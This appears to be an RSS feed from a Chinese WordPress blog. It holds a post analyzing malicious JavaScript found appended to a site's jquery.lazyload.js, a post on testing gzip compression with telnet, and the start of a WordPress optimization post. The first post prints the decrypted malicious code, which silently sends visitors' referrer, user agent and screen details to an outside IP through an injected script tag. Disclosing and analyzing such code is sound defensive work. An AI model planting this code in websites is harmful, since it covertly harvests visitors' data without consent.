<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacklog &#187; 安全优化</title>
	<atom:link href="http://ihacklog.com/cat/php/security_optimization/feed" rel="self" type="application/rss+xml" />
	<link>http://ihacklog.com</link>
	<description>荒野无灯weblog</description>
	<lastBuildDate>Sat, 04 Feb 2012 12:30:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Louis Han童鞋应该是中招了</title>
		<link>http://ihacklog.com/security_optimization/js-malicious-code.html</link>
		<comments>http://ihacklog.com/security_optimization/js-malicious-code.html#comments</comments>
		<pubDate>Tue, 03 Jan 2012 03:16:59 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5269</guid>
		<description><![CDATA[昨天刚有人发个php恶意代码给我要我分析，今天又发现js恶意代码了。。。 今天在找一个用jquery.lazyload.js的网站，就到了Louis Han看了下。 结果发现它的这个js文件后面居然还附加了一段加密js代码，解密后如下： 1234567891011121314element=document&#91;getElementById&#93;&#40;sc_co&#41; if&#40;!element&#41;&#123;cls=screen&#91;colorDepth&#93; sw=s...]]></description>
			<content:encoded><![CDATA[<p>昨天刚有人发个php恶意代码给我要我分析，今天又发现js恶意代码了。。。<br />
今天在找一个用jquery.lazyload.js的网站，就到了<a href="http://louishan.com" target="_blank">Louis Han</a>看了下。<br />
结果发现它的这个js文件后面居然还附加了一段加密js代码，解密后如下：</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">element<span style="color: #339933;">=</span>document<span style="color: #009900;">&#91;</span>getElementById<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>sc_co<span style="color: #009900;">&#41;</span><br />
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>element<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>cls<span style="color: #339933;">=</span>screen<span style="color: #009900;">&#91;</span>colorDepth<span style="color: #009900;">&#93;</span><br />
sw<span style="color: #339933;">=</span>screen<span style="color: #009900;">&#91;</span>width<span style="color: #009900;">&#93;</span><br />
sh<span style="color: #339933;">=</span>screen<span style="color: #009900;">&#91;</span>height<span style="color: #009900;">&#93;</span><br />
dc<span style="color: #339933;">=</span>document<span style="color: #009900;">&#91;</span>charset<span style="color: #009900;">&#93;</span><br />
lc<span style="color: #339933;">=</span>document<span style="color: #009900;">&#91;</span>location<span style="color: #009900;">&#93;</span><br />
refurl<span style="color: #339933;">=</span>escape<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#91;</span>referrer<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><br />
ua<span style="color: #339933;">=</span>escape<span style="color: #009900;">&#40;</span>navigator<span style="color: #009900;">&#91;</span>userAgent<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #003366; font-weight: bold;">var</span> js<span style="color: #339933;">=</span>document<span style="color: #009900;">&#91;</span>createElement<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>script<span style="color: #009900;">&#41;</span><br />
js<span style="color: #009900;">&#91;</span>id<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>sc_co<br />
js<span style="color: #009900;">&#91;</span>src<span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span>http<span style="color: #339933;">:</span><span style="color: #006600; font-style: italic;">//91.196.216.64/s.php?ref=+refurl+&amp;cls=+cls+&amp;sw=+sw+&amp;sh=+sh+&amp;dc=+dc+&amp;lc=+lc+&amp;ua=+ua</span><br />
<span style="color: #003366; font-weight: bold;">var</span> head<span style="color: #339933;">=</span>document<span style="color: #009900;">&#91;</span>getElementsByTagName<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>head<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><br />
head<span style="color: #009900;">&#91;</span>appendChild<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>js<span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>src大概如下：</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">http://91.196.216.64/s.php?ref<span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;">&amp;cls=32&amp;sw=1366&amp;sh=768&amp;dc=gb2312&amp;lc=file:///C:/Users/HuangYe/Downloads/jquery-image-lazy-loading/a.html&amp;ua=Mozilla/5.0%20%28compatible%3B%20MSIE%209.0%3B%20Windows%20NT%206.1%3B%20Trident/5.0%3B%20SLCC2%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.5.30729%3B%20.NET%20CLR%203.0.30729%3B%20Media%20Center%20PC%206.0%3B%20Tablet%20PC%202.0%3B%20.NET4.0C%3B%20.NET4.0E%29</span></div></td></tr></tbody></table></div>
<p>可见这个是用来偷偷收集用户信息的，用script的src只是为了让用户浏览器自动发送一个http请求用querystring把相关信息提交过去。</p>
<p>解密js代码来自<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fagecia.com.br%2Fentende_malware.php" target="_blank">这儿</a>。</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5269";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5269" title="Permanent Link to Louis Han童鞋应该是中招了" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5269</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年05月30日  //  <a href="http://ihacklog.com/software/fix-httplib-incompleteread-more-expected-bug-in-vimrepress.html" title="修正vimrepress的一个bug">修正vimrepress的一个bug</a> (2)</li><li>2010年06月4日  //  <a href="http://ihacklog.com/security_optimization/use-yuicompressor-to-compress-your-js-css-code.html" title="用yuicompressor来压缩你的js、css代码">用yuicompressor来压缩你的js、css代码</a> (11)</li><li>2011年09月16日  //  <a href="http://ihacklog.com/software/development-tool/google-project-hosting-svn-tips.html" title="使用Google Project Hosting 托管项目[SVN]">使用Google Project Hosting 托管项目[SVN]</a> (1)</li><li>2009年05月18日  //  <a href="http://ihacklog.com/software/cool_software_share/phpchengxuyuanzhuanyongshurufapifu.html" title="PHP程序员专用输入法皮肤">PHP程序员专用输入法皮肤</a> (3)</li><li>2008年12月31日  //  <a href="http://ihacklog.com/php/%e4%b8%bb%e6%9d%bf%e7%b3%bb%e5%88%97%e7%9f%a5%e8%af%86%ef%bc%9a%e4%b8%bb%e6%9d%bf%e7%bb%93%e6%9e%84.html" title="主板系列知识：主板结构">主板系列知识：主板结构</a> (0)</li><li>2009年11月19日  //  <a href="http://ihacklog.com/php/skills/go-die-utf-8-unicode-bom.html" title="一个让我很郁闷的事情：由该死的Unicode BOM引起的">一个让我很郁闷的事情：由该死的Unicode BOM引起的</a> (6)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/js-malicious-code.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>检测Gzip压缩——由一句评论引发的文章</title>
		<link>http://ihacklog.com/security_optimization/gzip-compression-detect.html</link>
		<comments>http://ihacklog.com/security_optimization/gzip-compression-detect.html#comments</comments>
		<pubDate>Sun, 16 Oct 2011 06:53:44 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4942</guid>
		<description><![CDATA[说下写这篇文章的原因。 WP中文论坛某童鞋发一了帖子，名为《推荐的10款 WordPress 插件》，其中有推荐到一个页面压缩插件：gzippy 于是有人开喷了： 35582944 夜色倾城 说： 这种复制的老文章就不要转了 呃，他居然一眼把此文章认定为别人复制的，好吧，虽然我是版主，这些事情我是不管的，只要你不违反版规什么的。 楼主的回复： 然后，他开始误导群众了： 作为插件区的版主，我实在看不下去这种误导广大人民群众的，于是忍不住加了一句评语。然后我解释给他听： sejie10011 发表于 2011...]]></description>
			<content:encoded><![CDATA[<p>说下写这篇文章的原因。<br />
WP中文论坛某童鞋发一了帖子，名为《推荐的10款 WordPress 插件》，其中有推荐到一个页面压缩插件：gzippy</p>
<p>于是有人开喷了：</p>
<blockquote><p>
35582944  夜色倾城 说：<br />
这种复制的老文章就不要转了
</p></blockquote>
<p>呃，他居然一眼把此文章认定为别人复制的，好吧，虽然我是版主，这些事情我是不管的，只要你不违反版规什么的。<br />
楼主的回复：<br />
<a href="http://static.ihacklog.com/wp-files/2011/10/the-reply.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/10/the-reply-550x229.png" alt="" title="the-reply" width="550" height="229" class="alignnone size-medium wp-image-4943" /> </a></p>
<p>然后，他开始误导群众了：<br />
<a href="http://static.ihacklog.com/wp-files/2011/10/fk-the-boy.png" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2011/10/fk-the-boy-550x238.png" alt="" title="fk-the-boy" width="550" height="238" class="alignnone size-medium wp-image-4944" /> </a></p>
<p>作为插件区的版主，我实在看不下去这种误导广大人民群众的，于是忍不住加了一句评语。然后我解释给他听：</p>
<blockquote><p>sejie10011 发表于 2011-10-15 16:30<br />
wp后台的load-script是通过gzip 压缩内容后再发送的，这个不假。<br />
前台页面内容是没有压缩的。</p></blockquote>
<p>后来他又回帖了，语气非常D坚定，我就不用形容词了啊，各位，还有，后来他又编辑了上面的回帖，令我把积分还他（见上图）。</p>
<blockquote><p>
35582944  夜色倾城 说：</p>
<p>http://tool.chinaz.com/Gzips/</p>
<p>你去查查到底有没有开</p></blockquote>
<hr />
<hr />
好吧，这里我就把方法说一说，以证明我不是信口雌黄。</p>
<p>一般情况下，没有八九成的把握我是不会出口的。其实在我评论之前，我是特意看了下WordPress 3.2.1的源码的，观其源码，只看到后台通过load-scritps.php加载的js或css文件，基本上是通过gzip压缩的。WordPress对于前台的页面并没有做任何压缩处理。</p>
<p>也许我这样说还有人会不信，那么请看下文：<br />
先拿我自己的博客来做测试：</p>
<div class="codecolorer-container text default smooth" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[admin@huangye ~]$ telnet ihacklog.com 80<br />
Trying 174.36.139.53...<br />
Connected to ihacklog.com.<br />
Escape character is '^]'.<br />
GET /memory/hacklog/piano-of-night-5.html HTTP/1.1<br />
HOST: ihacklog.com<br />
Accept-Encoding:gzip,deflate<br />
<br />
HTTP/1.1 200 OK<br />
Transfer-Encoding: chunked<br />
Date: Sun, 16 Oct 2011 06:19:15 GMT<br />
Server: LiteSpeed<br />
Connection: close<br />
X-Powered-By: PHP/5.2.17<br />
Set-Cookie: notify_cookie=cb5a128319994c31b4c1adfdc12b50f3; expires=Tue, 15-Nov-2011 06:19:39 GMT<br />
X-Pingback: http://ihacklog.com/wordpress/xmlrpc.php<br />
Content-Type: text/html; charset=UTF-8<br />
Link: &lt;http://ihacklog.com/?p=4933&gt;; rel=shortlink<br />
Content-Encoding: gzip<br />
Vary: Accept-Encoding<br />
<br />
1000<br />
H��������[V��Zt�� �9������GBB�`��s���l�z���{oU��-��68���5�jUU��ԭ[�nUݪ���Җ77���έ$o�sϦ��6���oٽ������I4!�5��ˆ�y%��F���Q����BS<br />
...此处省略一堆字符</div></td></tr></tbody></table></div>
<p>从上面的服务器返回信息Content-Encoding: gzip 及后面那一堆乱码可以看出，页面内容是经过gzip压缩的。<br />
但是这样就能断定wordpress自身对页面进行压缩了吗？非也。</p>
<p>要对页面进行压缩后再发送，至少有三种方法。<br />
其一，通过http服务器配置实现，其二，通过php.ini来实现，其三，通过PHP代码实现<br />
可见，若要判断是不是wp自身对页面内容进行了压缩，必须先排除前二者。</p>
<p>下面开始干活了。<br />
测试环境：<br />
LAMP(Linux + Apache + Mysql + PHP )<br />
WordPress 3.2.1 官方中文版<br />
本地域名： huangye.com ，指向本机ip.<br />
配置Apache,不开启页面压缩，配置php.ini默认关闭压缩，安装好wp,默认不启用任何插件。<br />
然后，打开shell:</p>
<div class="codecolorer-container text default smooth" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">[admin@huangye ~]$ telnet huangye.com 80<br />
Trying 172.30.16.31...<br />
Connected to huangye.com.<br />
Escape character is '^]'.<br />
GET /?p=1 HTTP/1.1<br />
HOST: huangye.com<br />
Accept-Encoding: gzip,deflate<br />
<br />
HTTP/1.1 200 OK<br />
Date: Sun, 16 Oct 2011 06:29:34 GMT<br />
Server: Apache/2.2.21 (Unix)<br />
Set-Cookie: notify_cookie=4f0d285ef552d1c65008ad4c6ae218f3; expires=Tue, 15-Nov-2011 06:29:52 GMT<br />
X-Pingback: http://huangye.com/wordpress/xmlrpc.php<br />
Transfer-Encoding: chunked<br />
Content-Type: text/html; charset=UTF-8<br />
<br />
202c<br />
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;zh-CN&quot;&gt;<br />
<br />
&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt;<br />
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />
<br />
&lt;title&gt;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 世界，你好！ &amp;raquo; 荒野无灯&amp;#039;s weblog &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/title&gt;</div></td></tr></tbody></table></div>
<p>看到什么了？现在返回的东西是纯html代码，而不是gzip压缩后的内容，这说明，<span style="font-size:18px;">wp3.2.1并没有对页面进行压缩。</span>好了，真相大白。</p>
<p>然后，我们再安装GZIP Output这个插件（插件主页：http://austinmatzko.com/2008/02/22/wordpress-gzip-plugin/），在后台搜索并安装即可，如要手动下载，请至这里：http://wordpress.org/extend/plugins/gzip-pages/</p>
<p>安装好这个插件后再做如下测试：</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #7a0874; font-weight: bold;">&#91;</span>admin<span style="color: #000000; font-weight: bold;">@</span>huangye ~<span style="color: #7a0874; font-weight: bold;">&#93;</span>$ telnet huangye.com <span style="color: #000000;">80</span><br />
Trying 172.30.16.31...<br />
Connected to huangye.com.<br />
Escape character is <span style="color: #ff0000;">'^]'</span>.<br />
GET <span style="color: #000000; font-weight: bold;">/</span>?<span style="color: #007800;">p</span>=<span style="color: #000000;">1</span> HTTP<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">1.1</span><br />
HOST: huangye.com<br />
Accept-Encoding: <span style="color: #c20cb9; font-weight: bold;">gzip</span>,deflate<br />
<br />
HTTP<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">1.1</span> <span style="color: #000000;">200</span> OK<br />
Date: Sun, <span style="color: #000000;">16</span> Oct <span style="color: #000000;">2011</span> 06:<span style="color: #000000;">43</span>:01 GMT<br />
Server: Apache<span style="color: #000000; font-weight: bold;">/</span>2.2.21 <span style="color: #7a0874; font-weight: bold;">&#40;</span>Unix<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
Set-Cookie: <span style="color: #007800;">notify_cookie</span>=4f0d285ef552d1c65008ad4c6ae218f3; <span style="color: #007800;">expires</span>=Tue, <span style="color: #000000;">15</span>-Nov-<span style="color: #000000;">2011</span> 06:<span style="color: #000000;">43</span>:<span style="color: #000000;">22</span> GMT<br />
X-Pingback: http:<span style="color: #000000; font-weight: bold;">//</span>huangye.com<span style="color: #000000; font-weight: bold;">/</span>wordpress<span style="color: #000000; font-weight: bold;">/</span>xmlrpc.php<br />
Content-Encoding: <span style="color: #c20cb9; font-weight: bold;">gzip</span><br />
Vary: Accept-Encoding<br />
Content-Length: <span style="color: #000000;">3702</span><br />
Content-Type: text<span style="color: #000000; font-weight: bold;">/</span>html; <span style="color: #007800;">charset</span>=UTF-<span style="color: #000000;">8</span><br />
<br />
�lf��ص�ƒ��T�<span style="color: #000000; font-weight: bold;">@</span>����b�,�\���<span style="color: #000000;">4</span>�hf�ö��$�<span style="color: #000000;">8</span>�s,<span style="color: #000000; font-weight: bold;">!</span>asl^<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#91;</span>��8N�a���O��<span style="color: #7a0874; font-weight: bold;">&#125;</span>��C��<span style="color: #666666; font-style: italic;">#</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #7a0874; font-weight: bold;">&#40;</span>��g�������t��WGRJQ�W�<span style="color: #666666; font-style: italic;">#�G�_^�|�ʤФ�MW�t�Ć��������هevv6=;����2yB��X:Y4S^bfZ�4�Лc</span><br />
��o���<span style="color: #000000; font-weight: bold;">%</span>��N^<span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&lt;</span>GB<span style="color: #000000;">6</span>�y�T<span style="color: #000000; font-weight: bold;">%</span>5�<span style="color: #000000; font-weight: bold;">&amp;@</span>����<span style="color: #7a0874; font-weight: bold;">&#41;</span>W�<span style="color: #000000;">2</span>Ø+�J<span style="color: #000000; font-weight: bold;">&amp;</span>CתＺᴢ陏穌帚渓溯我ጉ⥼⤯祤林茴稟ⵠ妊滌ⵉ徠ܥば綣欒函㜇紐暘簵騙Эⱽ会賣鞐扼襷兢諂礙鵠畦猗袗<br />
此处省略一堆字符...</div></td></tr></tbody></table></div>
<p>有些可见，在服务器没有开启gzip压缩的情况下，gzippy和GZIP Output这类插件的作用是相当可观的。<br />
启用插件后用在线工具（http://www.gidnetwork.com/tools/gzip-test.php） 检测下压缩比率你就知道了。</p>
<p>最后，简单说下原理：</p>
<p>在做到检测某网站是否开启GZIP时，客户端在请求的时候,要带</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Accept-Encoding: gzip, deflate</div></td></tr></tbody></table></div>
<p>代表客户端支持 gzip 这种编码的传输方式.<br />
然后服务器才会根据自身是否开启 gzip压缩来响应.<br />
上面我用telnet连接服务器的80端口，实际上是模拟浏览器访问http服务器，因为直接用浏览器访问，不管对方服务器有没有开启gzip压缩，你都能看到页面的内容。用telnet就比较直观了，因为telnet可不会自动帮你解gzip压缩后的内容。</p>
<p>若内容是gzip压缩过的，那么服务器在响应头中会加上这一句：</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">Content-Encoding: gzip</div></td></tr></tbody></table></div>
<p>ps:有些服务器对内容进行 gzip 编码只针对某些文件,所以有没有返回这个,并不能作为该http服务器是否支持gzip的依据.</p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=4942";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=4942" title="Permanent Link to 检测Gzip压缩——由一句评论引发的文章" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=4942</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2012年01月8日  //  <a href="http://ihacklog.com/software/powerfulvim/vim-tags-auto-update.html" title="实现Vim tags自动更新">实现Vim tags自动更新</a> (0)</li><li>2010年03月6日  //  <a href="http://ihacklog.com/php/framework/codeigniter-vs-thinkphp.html" title="关于CI与TP">关于CI与TP</a> (0)</li><li>2010年05月15日  //  <a href="http://ihacklog.com/programming/c/comile-gd-2-0-11-under-ubuntu-linux.html" title="ubuntu linux下编译安装gd-2.0.11出错">ubuntu linux下编译安装gd-2.0.11出错</a> (0)</li><li>2011年06月3日  //  <a href="http://ihacklog.com/programming/c/gotoxy-in-linux.html" title="Linux中gotoxy函数的一个实现">Linux中gotoxy函数的一个实现</a> (0)</li><li>2009年12月2日  //  <a href="http://ihacklog.com/software/cool_software_share/picpick.html" title="PicPick：很小很强大的截图工具">PicPick：很小很强大的截图工具</a> (2)</li><li>2011年12月17日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/simple-solution-to-modifying-wordpress-admin-password-when-your-have-forgot-it.html" title="WordPress管理员密码忘记了怎么办？删除一个符号即可">WordPress管理员密码忘记了怎么办？删除一个符号即可</a> (8)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/gzip-compression-detect.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>WordPress优化技巧</title>
		<link>http://ihacklog.com/security_optimization/wordpress-optimization-tips.html</link>
		<comments>http://ihacklog.com/security_optimization/wordpress-optimization-tips.html#comments</comments>
		<pubDate>Fri, 30 Sep 2011 20:09:51 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp技巧]]></category>
		<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=4879</guid>
		<description><![CDATA[1,插件优化之——插件按需加载 对于安装的插件，并不是每个插件在每个页面都要加载的。 总的原则就是： 只在后台使用的插件绝不在前台加载。由于wp在初始化时会载入plugins目录下面的已激活插件和载入主题目录下面的functions.php文件，因此，在插件的“主”文件中，我们可以做些判断，如对于只需要在后台使用的插件，可用如下PHP代码包裹之： 12345if&#40; is_admin&#40;&#41; &#41; &#123; //原插件loader内容... //这里可能包含很多代码，特别是有些...]]></description>
			<content:encoded><![CDATA[<h3>1,插件优化之——插件按需加载</h3>
<p>对于安装的插件，并不是每个插件在每个页面都要加载的。<br />
总的原则就是：<br />
只在后台使用的插件绝不在前台加载。由于wp在初始化时会载入plugins目录下面的已激活插件和载入主题目录下面的functions.php文件，因此，在插件的“主”文件中，我们可以做些判断，如对于只需要在后台使用的插件，可用如下PHP代码包裹之：</p>
